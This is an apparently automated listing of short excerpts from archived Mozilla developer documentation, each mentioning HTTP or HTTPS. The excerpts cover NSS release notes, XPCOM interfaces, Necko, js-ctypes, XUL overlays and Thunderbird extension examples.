...ne unless nss was built with fips enabled bug 1431940 - fix a null pointer dereference in blake2b_update bug 1617387 - fix compiler warning in secsign.c bug 1618400 - fix a openbsd/arm64 compilation error: unused variable 'getauxval' bug 1610687 - fix a crash on unaligned cmaccontext.aes.keyschedule when using aes-ni intrinsics this bugzilla query returns all the bugs fixed in nss 3.51: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.51 compatibility nss 3.51 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.52 release notes
nss 3.52 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_52_rtm/src/ other releases are available in nss releases.
... bug 1630925 - guard all instances of nsscmssigneddata.signerinfo to avoid a cms crash bug 1571677 - name constraints validation: cn treated as dns name even when syntactically invalid as dns name this bugzilla query returns all the bugs fixed in nss 3.52: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.52 compatibility nss 3.52 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.53 release notes
nss 3.53 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_53_rtm/src/ other releases are available in nss releases.
...work and cleanup gmake builds bug 1438431 - remove mkdepend and "depend" make target bug 290526 - support parallel building of nss when using the makefiles bug 1636206 - hacl* update after changes in libintvector.h bug 1636058 - fix building nss on debian s390x, mips64el, and riscv64 bug 1622033 - add option to build without seed this bugzilla query returns all the bugs fixed in nss 3.53: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.53 compatibility nss 3.53 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.54 release notes
nss 3.54 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_54_rtm/src/ other releases are available in nss releases.
... this bugzilla query returns all the bugs fixed in nss 3.54: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.54 compatibility nss 3.54 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.55 release notes
nss 3.55 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_55_rtm/src/ other releases are available in nss releases.
... this bugzilla query returns all the bugs fixed in nss 3.55: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.55 compatibility nss 3.55 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.56 release notes
nss 3.56 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_56_rtm/src/ other releases are available in nss releases.
... this bugzilla query returns all the bugs fixed in nss 3.56: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.56 compatibility nss 3.56 shared libraries are backward compatible with all older nss 3.x shared libraries.
Utilities for nss samples
if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/.
...if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/.
NSS Tools sslstrength
however, the port number is an optional argument, and if not given, will default to the https port (443).
... other for references, here is a table of well-known ssl port numbers: https 443 imaps 993 nntps 563 ...
NSS release notes template
nss 3.xx source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_xx_rtm/src/ (make a link) new in nss 3.xx new functionality either: no new functionality is introduced in this release.
... bugs fixed in nss 3.xx this bugzilla query returns all the bugs fixed in nss 3.xx: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.xx (make a link) acknowledgements the nss development team would like to thank ...
Migration to HG
each project now lives in its own separate space, they can be found at: https://hg.mozilla.org/projects/nspr/ https://hg.mozilla.org/projects/nss/ https://hg.mozilla.org/projects/jss/ https://hg.mozilla.org/projects/python-nss/ this migration has been used as an opportunity to change the layout of the source directories.
... however, below is a brief summary that shows how to checkout the source code and build both nspr and nss: mkdir workarea cd workarea hg clone https://hg.mozilla.org/projects/nspr hg clone https://hg.mozilla.org/projects/nss cd nss # set use_64=1 on 64 bit architectures # set build_opt=1 to get an optimized build make nss_build_all note that the jss project has been given a private copy of the former mozilla/security/coreconf directory, allowing it to remain stable, and only update its build system as necessary.
NSS_Initialize
certprefix [in] prefix added to the beginning of the certificate database, for example, "https-server1-".
... keyprefix [in] prefix added to the beginning of the key database, for example, "https-server1-".
NSS functions
3.2 and later sec_asn1encoderupdate mxr 3.2 and later sec_asn1encodeunsignedinteger mxr 3.11.1 and later sec_asn1lengthlength mxr 3.2 and later sec_dupcrl mxr 3.9 and later sec_getsignaturealgorithmoidtag mxr 3.10 and later sec_getregisteredhttpclient mxr 3.12 and later sec_pkcs5getcryptoalgorithm mxr 3.2 and later sec_pkcs5getkeylength mxr 3.2 and later sec_pkcs5getpbealgorithm mxr 3.2 and later sec_pkcs5isalgorithmpbealg mxr 3.2 and later sec_pkcs5isalgorithmpbealgtag mxr 3.12 and later...
... sec_registerdefaulthttpclient mxr 3.11.1 and later sec_signdata mxr 3.2 and later sec_stringtooid mxr 3.12 and later secitem_allocitem mxr 3.2 and later secitem_arenadupitem mxr 3.9 and later secitem_compareitem mxr 3.2 and later secitem_copyitem mxr 3.2 and later secitem_dupitem mxr 3.2 and later secitem_freeitem mxr 3.2 and later secitem_itemsareequal mxr 3.8 and later secitem_zfreeitem mxr 3.2 and later seckey_copyencryptedprivatekeyinfo mxr 3.2 and later ...
sslerr.html
ate could not be found." sec_error_unknown_signer -8076 "the signer's certificate could not be found." sec_error_cert_bad_access_location -8075 "the location for the certificate status server has invalid format." sec_error_ocsp_unknown_response_type -8074 "the ocsp response cannot be fully decoded; it is of an unknown type." sec_error_ocsp_bad_http_response -8073 "the ocsp server returned unexpected/invalid http data." sec_error_ocsp_malformed_request -8072 "the ocsp server found the request to be corrupted or improperly formed." sec_error_ocsp_server_error -8071 "the ocsp server experienced an internal error." sec_error_ocsp_try_server_later -8070 "the ocsp server suggests trying again lat...
...s -8034 "certification validation search is out of search limits." sec_error_invalid_policy_mapping -8033 "policy mapping contains any-policy." sec_error_policy_validation_failed -8032 "certificate chain fails policy validation." sec_error_unknown_aia_location_type -8031 "unknown location type in certificate aia extension." sec_error_bad_http_response -8030 "server returned a bad http response." sec_error_bad_ldap_response -8029 "server returned a bad ldap response." sec_error_failed_to_encode_data -8028 "failed to encode data with asn.1 encoder." sec_error_bad_info_access_location -8027 "bad information access location in certificate extension." sec_error_libpkix_internal ...
sslfnc.html
this occurs, for example, when an https server has received a request and determines that before it can answer the request, it needs to request an authentication certificate from the client.
... at the http protocol level, nothing more is being said (that is, no http request or response is being sent), so the server uses ssl_forcehandshake to make the handshake occur.
Utility functions
3.2 and later sec_asn1encoderupdate mxr 3.2 and later sec_asn1encodeunsignedinteger mxr 3.11.1 and later sec_asn1lengthlength mxr 3.2 and later sec_dupcrl mxr 3.9 and later sec_getsignaturealgorithmoidtag mxr 3.10 and later sec_getregisteredhttpclient mxr 3.12 and later sec_pkcs5getcryptoalgorithm mxr 3.2 and later sec_pkcs5getkeylength mxr 3.2 and later sec_pkcs5getpbealgorithm mxr 3.2 and later sec_pkcs5isalgorithmpbealg mxr 3.2 and later sec_pkcs5isalgorithmpbealgtag mxr 3.12 and later...
... sec_registerdefaulthttpclient mxr 3.11.1 and later sec_signdata mxr 3.2 and later sec_stringtooid mxr 3.12 and later secitem_allocitem mxr 3.2 and later secitem_arenadupitem mxr 3.9 and later secitem_compareitem mxr 3.2 and later secitem_copyitem mxr 3.2 and later secitem_dupitem mxr 3.2 and later secitem_freeitem mxr 3.2 and later secitem_itemsareequal mxr 3.8 and later secitem_zfreeitem mxr 3.2 and later seckey_copyencryptedprivatekeyinfo mxr 3.2 and later ...
NSS Tools sslstrength
however, the port number is an optional argument, and if not given, will default to the https port (443).
... other for references, here is a table of well-known ssl port numbers: https 443 imaps 993 nntps 563 ...
Necko Architecture
for example, the http protocol handler registers itself as the protocol handler for "http." the http protocol handler creates http channels for http urls.
...please use existing protocol handler's for reference (the data: protocol handler is the simplest handler necko provides, http is a fairly complex (uses many classes) implementation utilizing asynchronous i/o, and ftp provides an example of a protocol implementation that creates an extra thread which uses synchronous i/o).
Multithreading in Necko
http, ftp) operate partially on the background threads to improve performance.
... for example, the http protocol handler has code that runs on the socket transport thread to kick off pending requests well before the main thread would get around to doing so.
Installing Pork
svn co https://mcpp.svn.sourceforge.net/svnroot/mcpp/trunk mcpp cd mcpp ./configure --enable-replace-cpp make sudo make install note: if you followed the dehydra installation instructions for linux and compiled your own gcc, then you should not need to "sudo" make install.
... hg clone http://hg.mozilla.org/rewriting-and-analysis/pork/ cd pork hg clone http://hg.mozilla.org/rewriting-and-analysis/elsa ./configure make building mozilla with mcpp to build mozilla with mcpp to generate annotated .ii files, use the following configure command: ac_cv_visibility_hidden=no cc="gcc34 -save-temps -wp,-w0,-k" cxx="g++ -save-temps -wp,-w0,-k" cppflags=-dns_disable_literal_template $srcdi...
Download Rhino
source in addition to getting the source from the zip files above, the source code for rhino can be found in github at https://github.com/mozilla/rhino.
... to get the source, use the command git clone https://github.com/mozilla/rhino.git rhino uses gradle as its build system.
Future directions
see http://hsivonen.iki.fi/vendor-prefixes/ for an extended argument.
... directories and filenames see https://wiki.mozilla.org/js_engine_modularization.
GCIntegration - SpiderMonkey Redirect 1
{{ svg{source: "http://people.mozilla.org/~wmccloskey/incremental1.svg", embedding: "iframe", height:"130"} }} assume object b is already marked, as in the leftmost frame, while objects a and c have not been marked yet.
...to see how weak pointers can cause trouble, consider the following situation: {{ svg{source: "http://people.mozilla.org/~wmccloskey/incremental2.svg", embedding: "iframe", height:"130"} }} in the left frame, a has a weak pointer to c.
JSAPI User Guide
the word javascript may bring to mind features such as event handlers (like onclick), dom objects, window.open, and xmlhttprequest.
...whenever javascript code does something like window.open("http://www.mozilla.org/"), it is accessing a global property, in this case window.
Animated PNG graphics
MozillaTechAPNG
tl and fdat are no longer required to have no other chunks in between them from 0.8 removed crcs for ihdr and plte from actl the actl fctl and adat are now not copy safe, renamed them to actl, fctl and adat from 0.9 split render_op into dispose_op and blend_op from 0.10 no changes test encoder and sample images sample images are available from the apng implementation page at http://littlesvr.ca/apng/ an encoder (open source) is available in versions of the gecko engine starting with version 1.9 alpha 4.
... an application (open source) using the mozilla encoder to assemble apngs available here: http://littlesvr.ca/apng/apngedit.html see also portable network graphics (png) specification (second edition) extensions to the png specification, version 1.2.0 graphics interchange format 89a ...
Places utilities for JavaScript
utils.js is accessible at the following url: http://mxr.mozilla.org/mozilla-centr...ntent/utils.js this file includes utility functions used by a lot of the bookmarking, tagging, and annotation services that are built into firefox.
... getdescriptionfromdocument(doc) parameters doc a dom document to get a description for return type returns a description string if a meta element was discovered with a "description" or "httpequiv" attribute, empty string otherwise.
Using the Places keywords API
placesutils.keywords.insert({ keyword: "my_keyword", url: "http://www.example.com/" postdata: "post+data=1&test=2" }).then(() => { /* success */ }, e => { /* failure */ }); note that setting an already existing keyword to a different url, will silently update the existing keyword to the new url.
... placesutils.keywords.fetch({ url: "http://www.example.com/" }, entry => { /* invoked for each found keyword entry */ }) .then(oneentry => { /* oneentry is either null, or one of the keyword entries */ }, e => { /* failure */}); removing a keyword the remove() method accepts a keyword string.
How to build an XPCOM component in JavaScript
if a copy of the mpl was not distributed with this # file, you can obtain one at http://mozilla.org/mpl/2.0/.
...s.classes['@dietrich.ganx4.com/helloworld;1'] .createinstance(components.interfaces.nsihelloworld); alert(mycomponent.hello()); } catch (anerror) { dump("error: " + anerror); } other resources rm lantwo mozillazine forums threads about implementing xpcom components in js with some explanations, example code, and troubleshooting tips: http://forums.mozillazine.org/viewtopic.php?t=308369 http://forums.mozillazine.org/viewtopic.php?t=367298 implementing xpcom components in javascript at kb.mozillazine.org using xpcom in javascript without leaking - a must-read.
An Overview of XPCOM
the network library, for example, consists of components for each of the protocols, http, ftp, and others, which are bundled together and linked into a single library.
... the http component in gecko doesn't expose private classes it uses as separate components.
Starting WebLock
to keep things as simple as possible, we'll read the file into memory using standard ansi file i/o, but for examples and information about how to usenecko, the gecko networking libraries, see http://www.mozilla.org/projects/netlib/.
...ws or linux, for example, it is possible to multiply a print64 by a long like this: print64 x = 1, y = 2; y = x * 2; however, this same snippet will not compile on a platform like macintosh os 9, where you need to use macros to perform the calculation: print64 x, y, two; ll_i2l(x, 1); ll_i2l(y, 2); ll_i2l(two, 2); ll_mul(y, x, two); a full listing of nspr's long long support can be found at http://www.mozilla.org/projects/nspr/.
Components.utils.evalInSandbox
for example: function double(n) { return n * 2; } // create new sandbox instance var mysandbox = new components.utils.sandbox("http://www.example.com/"); mysandbox.y = 5; // insert property 'y' with value 5 into global scope.
...for instance: var x = components.utils.evalinsandbox( "let x = 1;", sandbox, "1.8", // "latest" is recognized as a special case "http://foo.com/mycode.js", 25 ); the above will execute code using javascript 1.8.
HOWTO
put the following at the end of your script: // do async processing // from <https://developer.mozilla.org/en/xpconnect/xpcshell/howto> print("doing async work"); gscriptdone = false; var gthreadmanager = cc["@mozilla.org/thread-manager;1"] .getservice(ci.nsithreadmanager); var mainthread = gthreadmanager.currentthread; while (!gscriptdone) mainthread.processnextevent(true); while (mainthread.haspendingevents()) mainthread.processnextevent(true); 2.
...: 0x80040111 (ns_error_not_available) [nsixpccomponents_utils.import]" nsresult: "0x80040111 (ns_error_not_available)" location: "js frame :: file.js :: <top_level> :: line 12" data: no] solution 1 var loader = components.classes["@mozilla.org/moz/jssubscript-loader;1"] .getservice(components.interfaces.mozijssubscriptloader); loader.loadsubscript("chrome://myall/content/file.jsm"); see: http://mxr.mozilla.org/comm-central/...figutils.js#54 solution 2 append the following at the top of your js file which you want to run in xpcshell { // <https://developer.mozilla.org/en/xpconnect/xpcshell/howto> // <https://bugzilla.mozilla.org/show_bug.cgi?id=546628> let cc = components.classes; let ci = components.interfaces; // register resource://app/ uri let ios = cc["@mozilla.org/ne...
nsACString (External)
class declaration <map id="classes" name="classes"><area alt="" coords="1005,6,1096,54" href="http://developer.mozilla.org/en/nsacstring_(external)" shape="rect" title="nsacstring_(external)"> <area alt="" coords="980,102,1121,150" href="http://developer.mozilla.org/en/nscstringcontainer_(external)" shape="rect" title="nscstringcontainer_(external)"> <area alt="" coords="571,198,707,246" href="http://developer.mozilla.org/en/nscstring_external" shape="rect" title="nscstring_external"> <area alt="" coords="731,198,955,246" href="http://developer.mozilla.org/en/nsdependentcsubstring_external" shape="rect" title="nsdependentcsubstring_external"> <area alt="" coords="979,198,1123,246" href="http://developer.mozilla.org/en/promiseflatcstring_(external)" shape="rect" title="promiseflatcstrin...
...g_(external)"> <area alt="" coords="1147,198,1259,246" href="http://developer.mozilla.org/en/nscautostring_(external)" shape="rect" title="nscautostring_(external)"> <area alt="" coords="5,294,208,342" href="http://developer.mozilla.org/en/nsdependentcstring_external" shape="rect" title="nsdependentcstring_external"> <area alt="" coords="232,294,475,342" href="http://developer.mozilla.org/en/ns_convertutf16toutf8_external" shape="rect" title="ns_convertutf16toutf8_external"> <area alt="" coords="499,294,779,342" href="http://developer.mozilla.org/en/ns_lossyconvertutf16toascii_external" shape="rect" title="ns_lossyconvertutf16toascii_external"> <area alt="" coords="803,294,925,342" href="http://developer.mozilla.org/en/nsliteralcstring_(external)" shape="rect" title="nsliteralcstring_(external...
nsAString (External)
<map id="classes" name="classes"> <area alt="" coords="963,6,1045,54" href="http://developer.mozilla.org/en/nsastring_(external)" shape="rect" title="nsastring_(external)"> <area alt="" coords="939,102,1069,150" href="http://developer.mozilla.org/en/nsstringcontainer_(external)" shape="rect" title="nsstringcontainer_(external)"> <area alt="" coords="548,198,676,246" href="http://developer.mozilla.org/en/nsstring_external" shape="rect" title="nsstring_external"> <area alt="" coords="700,198,913,246" href="http://developer.mozilla.org/en/nsdependentsubstring_external" shape="rect" title="nsdependentsubstring_external"> <area alt="" coords="937,1...
...98,1071,246" href="http://developer.mozilla.org/en/promiseflatstring_(external)" shape="rect" title="promiseflatstring_(external)"> <area alt="" coords="1095,198,1196,246" href="http://developer.mozilla.org/en/nsautostring_(external)" shape="rect" title="nsautostring_(external)"> <area alt="" coords="5,294,197,342" href="http://developer.mozilla.org/en/nsdependentstring_external" shape="rect" title="nsdependentstring_external"> <area alt="" coords="221,294,467,342" href="http://developer.mozilla.org/en/ns_convertasciitoutf16_external" shape="rect" title="ns_convertasciitoutf16_external"> <area alt="" coords="491,294,733,342" href="http://developer.mozilla.org/en/ns_convertutf8toutf16_external" shape="rect" title="ns_convertutf8toutf16_external"> <area alt="" coords="757,294,869,342" href="http...
nsICachingChannel
for example a http form submission.
...if not specified, data will be placed in "http-offline".
nsIContentPrefService2
domains may be specified either exactly, like "example.com", or as full urls, like "http://example.com/foo/bar".
... in the latter case the api extracts the full domain from the url, so if you specify "http://foo.bar.example.com/baz", the domain is taken to be "foo.bar.example.com", not "example.com".
nsIContentSecurityPolicy
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview boolean permitsancestry(in nsidocshell docshell); void refinepolicy(in astring policystring, in nsiuri selfuri); void scanrequestdata(in nsihttpchannel achannel); void sendreports(in astring blockeduri, in astring violateddirective); short shouldload(in unsigned long acontenttype, in nsiuri acontentlocation, in nsiuri arequestorigin, in nsisupports acontext, in acstring amimetypeguess, in nsisupports aextra); short shouldprocess(in unsigned long acontenttype, in nsiuri acontentlocation, in nsiuri arequestorigin, in nsisupports acont...
...void scanrequestdata( in nsihttpchannel achannel ); parameters achannel sendreports() manually triggers violation report sending given a uri and reason.
nsICookieConsent
nscookiestatus getconsent( in nsiuri uri, in nsihttpchannel httpchannel, in boolean isforeign, out nscookiepolicy policy ); parameters uri the uri to find the policy for.
... httpchannel the channel to extract the p3p headers from.
nsICrashReporter
only https and http urls are allowed, as the submission is handled by os-native networking libraries.
...ns_error_invalid_arg on set if a non-http(s) url is assigned.
nsIDOMProgressEvent
dom/interfaces/events/nsidomprogressevent.idlscriptable this interface represents the events sent with progress information while uploading data using the xmlhttprequest object.
... see also using xmlhttprequest xmlhttprequest nsixmlhttprequesteventtarget nsixmlhttprequest ...
nsIDocShell
internal_load_flags_dont_send_referrer 0x2 used to indicate that the load was caused by a meta refresh and the current document uri shouldn't be sent as the http referrer.
...all values from here upward are confident enough to be used for xmlhttprequest.
nsIDownload
this is only valid for http downloads, and can be null.
...this is only the case if the download is over http/1.1 or ftp and if the server supports it.
nsIFeedResult
toolkit/components/feeds/nsifeedresult.idlscriptable this interface provides access to http and parsing metadata for a feed or entry.
... headers nsiproperties the http response headers that accompanied the feed.
nsILivemarkService
createlivemarkfolderonly() this method also creates a new livemark but use this method during startup to avoid http traffic.
...being able to manually control this allows activity such as bookmarks import to occur without kicking off http traffic.
nsILocaleService
note: this has nothing to do with any http user-agent.
...nsilocale getlocalefromacceptlanguage( in string acceptlanguage ); parameters acceptlanguage locale preference in the same format as the accept-language http header.
nsILoginMetaInfo
timelastused unsigned long long the time, in unix epoch milliseconds, when the login was last submitted in a form or used to begin an http auth session.
... timesused unsigned long the number of times the login was submitted in a form or used to begin an http auth session.
nsIRequest
for https, this flag is set automatically.
...consider, for example, a http response with a "cache-control: no-cache" header.
nsIXmlRpcClient
responsestatus readonly unsigned long the most recent http status code returned from this server.
... responsestring readonly unsigned long the most recent http status code returned from this server.
nsIZipWriter
var {cc: classes, ci: interfaces, cu: utils} = components; var zw = cc['@mozilla.org/zipwriter;1'].createinstance(ci.nsizipwriter); var pr = {pr_rdonly: 0x01, pr_wronly: 0x02, pr_rdwr: 0x04, pr_create_file: 0x08, pr_append: 0x10, pr_truncate: 0x20, pr_sync: 0x40, pr_excl: 0x80}; //https://developer.mozilla.org/docs/pr_open#parameters var fu = cu.import('resource://gre/modules/fileutils.jsm').fileutils; var fp = cc['@mozilla.org/filepicker;1'].createinstance(ci.nsifilepicker); fp.init(window, 'select directory to compile', ci.nsifilepicker.modegetfolder); fp.appendfilters(ci.nsifilepicker.filterall | ci.nsifilepicker.filtertext); var rv = fp.show(); if (rv == ci.nsifilepicker.
...ir]; //adds dirs to this as it finds it for (var i=0; i<dirarr.length; i++) { cu.reporterror('adding contents of dir['+i+']: ' + dirarr[i].leafname + ' path: ' + dirarr[i].path); var direntries = dirarr[i].directoryentries; while (direntries.hasmoreelements()) { var entry = direntries.getnext().queryinterface(ci.nsifile); //entry is instance of nsifile so here https://developer.mozilla.org/docs/xpcom_interface_reference/nsifile if (entry.path == xpi.path) { cu.reporterror('skipping entry - will not add this entry to the zip file - as this is the zip itself: "' + xpi.path + '" leafname:"' + xpi.leafname + '"'); continue; } if (entry.isdirectory()) { dirarr.push(entry); } var relp...
XPCOM Interface Reference
tstreamnsifileoutputstreamnsifilepickernsifileprotocolhandlernsifilespecnsifilestreamsnsifileurlnsifileutilitiesnsifileviewnsifocusmanagernsiformhistory2nsiframeloadernsiframeloaderownernsiframemessagelistenernsiframemessagemanagernsiframescriptloadernsigsettingscollectionnsigsettingsservicensigeolocationprovidernsigeolocationupdatensiglobalhistorynsiglobalhistory2nsiglobalhistory3nsihtmleditornsihttpheaderlistenernsihapticfeedbacknsihttpactivitydistributornsihttpactivityobservernsihttpchannelnsihttpchannelinternalnsihttpheadervisitornsihttpservernsihttpupgradelistenernsiidnservicensiiframeboxobjectnsiiniparsernsiiniparserfactorynsiiniparserwriternsiioservicensiidleservicensiinprocesscontentframemessagemanagernsiinputstreamnsiinputstreamcallbacknsiinstalllocationnsiinterfacerequestornsijscidns...
...tnsiwifiaccesspointnsiwifilistenernsiwifimonitornsiwinaccessnodensiwinapphelpernsiwintaskbarnsiwindowcreatornsiwindowmediatornsiwindowwatchernsiwindowsregkeynsiwindowsshellservicensiworkernsiworkerfactorynsiworkerglobalscopensiworkermessageeventnsiworkermessageportnsiworkerscopensiwritablepropertybagnsiwritablepropertybag2nsixformsmodelelementnsixformsnsinstanceelementnsixformsnsmodelelementnsixmlhttprequestnsixmlhttprequesteventtargetnsixmlhttprequestuploadnsixpcexceptionnsixpcscriptablensixpconnectnsixsltexceptionnsixsltprocessornsixsltprocessorobsoletensixulappinfonsixulbrowserwindownsixulbuilderlistenernsixulruntimensixulsortservicensixultemplatebuildernsixultemplatequeryprocessornsixultemplateresultnsixulwindownsixmlrpcclientnsixmlrpcfaultnsizipentrynsizipreadernsizipreadercachensizipwrit...
Using nsIDirectoryService
content formerly at http://www.mozilla.org/projects/xpcom/nsdirectoryservice.html general nsdirectoryservice information: nsdirectoryservice implements the nsiproperties interface.
...known locations the nsiproperties strings for currently defined locations can be found in: nsdirectoryservicedefs.h nsappdirectoryservicedefs.h nsxulappapi.h content formerly at http://www.mozilla.org/projects/xpco...locations.html background the way in which mozilla components locate special files and directories has changed.
XUL Overlays
MozillaTechXULOverlays
and given the following overlay: <?xml version="1.0"?> <overlay id="singleitemex" xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <menupopup id="menu_filepopup"> <menu id="file_menu"> <menuitem name="super stream player"/> </menu> </menupopup> </overlay> the result will be: ...
...<overlay id="main-overlay" xmlns:html="http://www.w3.org/1999/xhtml" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <menu id="file_menu"> <menuitem name="example one"/> <menuitem name="example two"/> <menuitem name="example three"/> <menuitem name="example four" position="1"/> </menu> </overlay> the node with the position attribute o...
Xray vision
have an underlying c++ state that is separate from their javascript representation, so the xray implementation can go straight to the c++ state and guarantee that the object will behave as its specification defines: // chrome code var sandboxscript = 'date.prototype.getfullyear = function() {return 1000};' + 'var date = new date(); '; var sandbox = components.utils.sandbox("https://example.org/"); components.utils.evalinsandbox(sandboxscript, sandbox); // date objects are xrayed console.log(sandbox.date.getfullyear()); // -> 2014 // but you can waive xray vision console.log(components.utils.waivexrays(sandbox.date).getfullyear()); // -> 1000 to test out examples like this, you can use the scratchpad in browser context for the code snippet, and the browser console to ...
... writable: true,' + ' value: "smith"' + '});' + 'object.defineproperty(me, "middlename", {' + ' enumerable: true,' + ' configurable: true,' + ' get: function() { return "wait, is this really a getter?"; }' + '});'; var sandbox = components.utils.sandbox("https://example.org/"); components.utils.evalinsandbox(sandboxscript, sandbox); // 1) trying to access properties in the prototype that have been redefined // (non-own properties) will show the original 'native' version // note that functions are not included in the output console.log("1) property redefined in the prototype:"); console.log(sandbox.me.tosource()); // -> "({firstname:"joe", address:{st...
Creating a gloda message query
you can find the file, which includes doxygen markup of sorts, here: https://hg.mozilla.org/comm-central/file/tip/mailnews/db/gloda/modules/gloda.js components.utils.import("resource:///modules/gloda/public.js"); create the query let query = gloda.newquery(gloda.noun_message); add constraints to the query each constraint function takes one or more arguments which are "or"ed together.
...from https://developer.mozilla.org/docs/mozilla/thunderbird/thunderbird_extensions/demo_addon, demo3, it seems that the attributename given in these files is the constraintname to be used (e.g.
Index
12 autoconfig file format definition please see https://wiki.mozilla.org/thunderbird:autoconfiguration:configfileformat.
...(version 3.0b3pre was the first build to include steel.) 105 modify folder pane display missing, thunderbird see https://addons.mozilla.org/thu...er-categories/ for an example.
customDBHeaders Preference
user_pref( "mailnews.customdbheaders", "x-superfluous x-other"); adding a column the reply-to column tutorial does a good job of explaining how to add a column with an overlay, so i'll just show you my overlay file: <?xml version="1.0" ?> <overlay id="colsuperfluousoverlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type='application/javascript' src='chrome://superfluous/content/superfluous.js'/> <tree id="threadtree"> <treecols id="threadcols"> <splitter class="tree-splitter" /> <treecol id="colsuperfluous" persist="hidden ordinal width" currentview="unthreaded" flex="1" label="superfluous" ...
... chrome/content/ \ chrome/content/superfluous.js \ chrome/content/superfluous_overlay.xul \ install.rdf superfluous.xpi: ${deps} zip $@ ${deps} chrome.manifest: content superfluous chrome/content/ overlay chrome://messenger/content/messenger.xul chrome://superfluous/content/superfluous_overlay.xul install.rdf: <?xml version='1.0' encoding='utf-8'?> <rdf xmlns='http://www.w3.org/1999/02/22-rdf-syntax-ns#' xmlns:em='http://www.mozilla.org/2004/em-rdf#'> <description about='urn:mozilla:install-manifest'> <em:id>superfluous@yoursite.com</em:id> <em:version>0.1.1</em:version> <em:type>2</em:type> <!-- 2 is type 'extension' --> <em:targetapplication> <description> <!-- this next line identifies tbird as target --> ...
WebIDL bindings
see https://bugzilla.mozilla.org/show_bug.cgi?id=1333117 for details.
... see https://bugzilla.mozilla.org/show_bug.cgi?id=1333117 for details.
Using COM from js-ctypes
idptr_t }, { 'setvolume': ctypes.voidptr_t }, { 'getvolume': ctypes.voidptr_t }, { 'waituntildone': ctypes.voidptr_t }, { 'setsyncspeaktimeout': ctypes.voidptr_t }, { 'getsyncspeaktimeout': ctypes.voidptr_t }, { 'speakcompleteevent': ctypes.voidptr_t }, { 'isuisupported': ctypes.voidptr_t }, { 'displayui': ctypes.voidptr_t } // end ispvoice ]); // functions // http://msdn.microsoft.com/en-us/library/windows/desktop/ms695279%28v=vs.85%29.aspx let coinitializeex = lib.declare('coinitializeex', winabi, hresult, // result lpvoid, // pvreserved dword // dwcoinit ); // http://msdn.microsoft.com/en-us/library/windows/desktop/ms688715%28v=vs.85%29.aspx let couninitialize = lib.declare('couninitialize', winabi, void // return ); // ...
...http://msdn.microsoft.com/en-us/library/windows/desktop/ms686615%28v=vs.85%29.aspx let cocreateinstance = lib.declare('cocreateinstance', winabi, hresult, // return refclsid, // rclsid lpunknown, // punkouter dword, // dwclscontext refiid, // riid lpvoid // *ppv ); // helper functions function checkhresult(hr /*primative hresult*/, funcname /*jsstr*/) { // primative because thats what is returned by declared functions that // return hresult hr = hr.tostring(); // makes it primative if (hr < 0) { console.error('hresult', hr, 'returned from function ', funcname /*, 'getstrofresult:', getstrofresult(hr)*/); throw new error('hresult ' + hr + ' returned from function ' + funcna...
Using js-ctypes
url.ptr; var __cfallocator = new ctypes.structtype("__cfallocator"); var cfallocatorref = __cfallocator.ptr; var unichar = ctypes.jschar; // uint16 with automatic conversion // define constants var kcfusernotificationstopalertlevel = 0; var kcfusernotificationnotealertlevel = 1; var kcfusernotificationcautionalertlevel = 2; var kcfusernotificationplainalertlevel = 3; // declare functions /* https://developer.apple.com/library/mac/documentation/corefoundation/reference/cfusernotificationref/index.html#//apple_ref/c/func/cfusernotificationdisplaynotice * sint32 cfusernotificationdisplaynotice ( * cftimeinterval timeout, * cfoptionflags flags, * cfurlref iconurl, * cfurlref soundurl, * cfurlref localizationurl, * cfstringref alertheader, * cfstringref alertmessage, * ...
... defaultbuttontitle * ); */ var cfusernotificationdisplaynotice = libcf.declare("cfusernotificationdisplaynotice", ctypes.default_abi, sint32, // return cftimeinterval, // timeout cfoptionflags, // flags cfurlref, // iconurl cfurlref, // soundurl cfurlref, // localizationurl cfstringref, // alertheader cfstringref, // alertmessage cfstringref // defaultbuttontitle ); /* https://developer.apple.com/library/mac/documentation/corefoundation/reference/cftyperef/#//apple_ref/c/func/cfrelease * void cfrelease ( * cftyperef cf * ); */ var cfrelease = libcf.declare('cfrelease', ctypes.default_abi, void, // return cftyperef // cf ); /* https://developer.apple.com/library/mac/documentation/corefoundation/reference/cfstringref/#//apple_ref/c/func/cfstringcreatewithcha...
ABI
